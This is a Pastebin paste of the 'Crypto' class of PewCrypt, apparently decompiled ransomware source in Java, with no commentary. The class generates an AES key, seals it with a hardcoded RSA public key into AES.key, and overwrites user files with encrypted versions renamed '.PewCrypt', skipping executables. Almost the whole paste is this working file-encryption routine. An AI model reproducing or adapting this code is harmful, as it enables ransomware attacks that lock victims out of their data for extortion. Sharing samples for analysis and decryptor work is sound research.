Advertisement
Demonslay335

PewCrypt.Crypto

Feb 22nd, 2019
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.53 KB | None | 0 0
  1. import java.io.File;
  2. import java.io.IOException;
  3. import java.io.PrintStream;
  4. import java.nio.file.Files;
  5. import java.nio.file.OpenOption;
  6. import java.security.GeneralSecurityException;
  7. import java.security.InvalidKeyException;
  8. import java.security.Key;
  9. import java.security.KeyFactory;
  10. import java.security.NoSuchAlgorithmException;
  11. import java.security.PublicKey;
  12. import java.security.SecureRandom;
  13. import java.security.spec.X509EncodedKeySpec;
  14. import javax.crypto.BadPaddingException;
  15. import javax.crypto.Cipher;
  16. import javax.crypto.IllegalBlockSizeException;
  17. import javax.crypto.NoSuchPaddingException;
  18. import javax.crypto.spec.SecretKeySpec;
  19.  
  20. public class Crypto
  21. {
  22. private final SecureRandom rnd = new SecureRandom();
  23.  
  24. private final byte[] RSA_key = { 48, -126, 1, 34, 48, 13, 6, 9, 42, -122, 72, -122,
  25. -9, 13, 1, 1, 1, 5, 0, 3, -126, 1, 15, 0, 48, -126, 1, 10, 2, -126, 1, 1,
  26. 0, -45, -124, 73, Byte.MAX_VALUE, 125, 43, -108, Byte.MIN_VALUE, Byte.MIN_VALUE, 6, 36, 39, -36, 47, 57,
  27. -95, -109, -113, -54, -101, 24, 74, -88, 16, -92, 86,
  28. -96, 4, 9, 21, -94, -117, -112, -33, 24, 50, 54, 74, 73, 41, -19,
  29. 58, -42, 50, 88, -63, 83, 7, 120, 118, 114, -93, 6, 89, 94, -47, 65, 90, 56, 16,
  30. 38, -85, 81, -103, 45, -103, -81, 125, -95, 16, 126, 25, -75,
  31. -85, 35, 13, -112, -7, 24, -7, 62, -111, -71, -87,
  32. -39, -27, -114, 116, -12, -115, -108, -77, 26, 114,
  33. -3, -110, -94, -62, -91, -6, 82, -50, 102, 9, 35, 47, 62,
  34. 17, -56, Byte.MAX_VALUE, -73, 77, -109, 90, 78, -74, -12, -70, -44, 59,
  35. 54, -39, -6, -39, -3, -21, 31, -21, -8, -30, 44,
  36. -38, 53, 50, 25, 67, 5, 33, 38, 71, 43, 107, -22, 26, 104, 90, 2, 4, -112, 72, 53,
  37. -39, -18, 48, -102, 25, 77, 86, 90, -18, 69, -100, -99, -82,
  38. -11, 66, 107, -73, 91, 72, 55, -60, -93, 125, 121, -64, -74,
  39. -51, -98, 36, -55, 76, 31, -38, 82, 39, -63, -97, 66, 108, 78, 14,
  40. 122, -119, -23, -65, 110, -58, 123, -94, -37, -102, 11,
  41. -33, 88, 119, -48, 37, -99, -69, 60, 79, 64, -72, -22, 52, 104,
  42. 56, -98, -26, 70, 25, -2, 84, 14, 73, -74, -115, 78, -7, 11,
  43. -69, 51, -117, 76, 42, -99, -43, 95, 88, 85, 42, 8, 14, -121, -109,
  44. -8, -67, 50, 117, -103, 23, 0, 38, -98, 63, 2, 3, 1, 01 };
  45.  
  46. private final byte[] PASS = new byte[32];
  47.  
  48. private Cipher cipher;
  49. private int cipherMode;
  50. private String[] IgnoredExtentions = { ".PewCrypt", ".exe", ".jar", ".dll" };
  51.  
  52.  
  53. public Crypto(boolean toEncrypt)
  54. {
  55. if (toEncrypt)
  56. {
  57. cipherMode = 1;
  58. }
  59. else
  60. {
  61. cipherMode = 2;
  62. }
  63.  
  64.  
  65. try
  66. {
  67. rnd.nextBytes(PASS);
  68.  
  69. Key AES_key = new SecretKeySpec(PASS, "AES");
  70.  
  71. cipher = Cipher.getInstance("AES");
  72.  
  73. cipher.init(cipherMode, AES_key);
  74. }
  75. catch (NoSuchAlgorithmException|NoSuchPaddingException|InvalidKeyException e) {
  76. System.out.println(e);
  77. }
  78. }
  79.  
  80. public boolean encrypt_AES_key()
  81. {
  82. X509EncodedKeySpec ks = new X509EncodedKeySpec(RSA_key);
  83.  
  84. try
  85. {
  86. KeyFactory kf = KeyFactory.getInstance("RSA");
  87.  
  88.  
  89. PublicKey pub = kf.generatePublic(ks);
  90.  
  91.  
  92. File kfile = new File("AES.key");
  93. kfile.createNewFile();
  94.  
  95.  
  96. Cipher cipher = Cipher.getInstance("RSA");
  97. cipher.init(1, pub);
  98.  
  99.  
  100. byte[] out = cipher.doFinal(PASS);
  101.  
  102.  
  103. Files.write(kfile.toPath(), out, new OpenOption[0]);
  104. }
  105. catch (java.security.spec.InvalidKeySpecException|NoSuchAlgorithmException|IOException|NoSuchPaddingException|InvalidKeyException|IllegalBlockSizeException|BadPaddingException e)
  106. {
  107. e.printStackTrace();
  108. return false;
  109. }
  110.  
  111. return true;
  112. }
  113.  
  114. public boolean ProcessFile(String path)
  115. {
  116. try {
  117. File file = new File(path);
  118.  
  119.  
  120.  
  121. for (String exten : IgnoredExtentions) {
  122. if (file.getName().contains(exten)) {
  123. return false;
  124. }
  125. }
  126.  
  127.  
  128. if (((file.exists() ? 0 : 1) | (file.canRead() ? 0 : 1) | (file.canWrite() ? 0 : 1) | (file.length() > 20000000L ? 1 : 0)) != 0) {
  129. return false;
  130. }
  131.  
  132.  
  133. byte[] fileContent = Files.readAllBytes(file.toPath());
  134.  
  135.  
  136. byte[] outputBytes = cipher.doFinal(fileContent);
  137.  
  138.  
  139. Files.write(file.toPath(), outputBytes, new OpenOption[0]);
  140.  
  141. file.renameTo(new File(path + ".PewCrypt"));
  142.  
  143. return true;
  144. }
  145. catch (IOException|BadPaddingException|IllegalBlockSizeException e)
  146. {
  147. System.out.println(e); }
  148. return false;
  149. }
  150. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement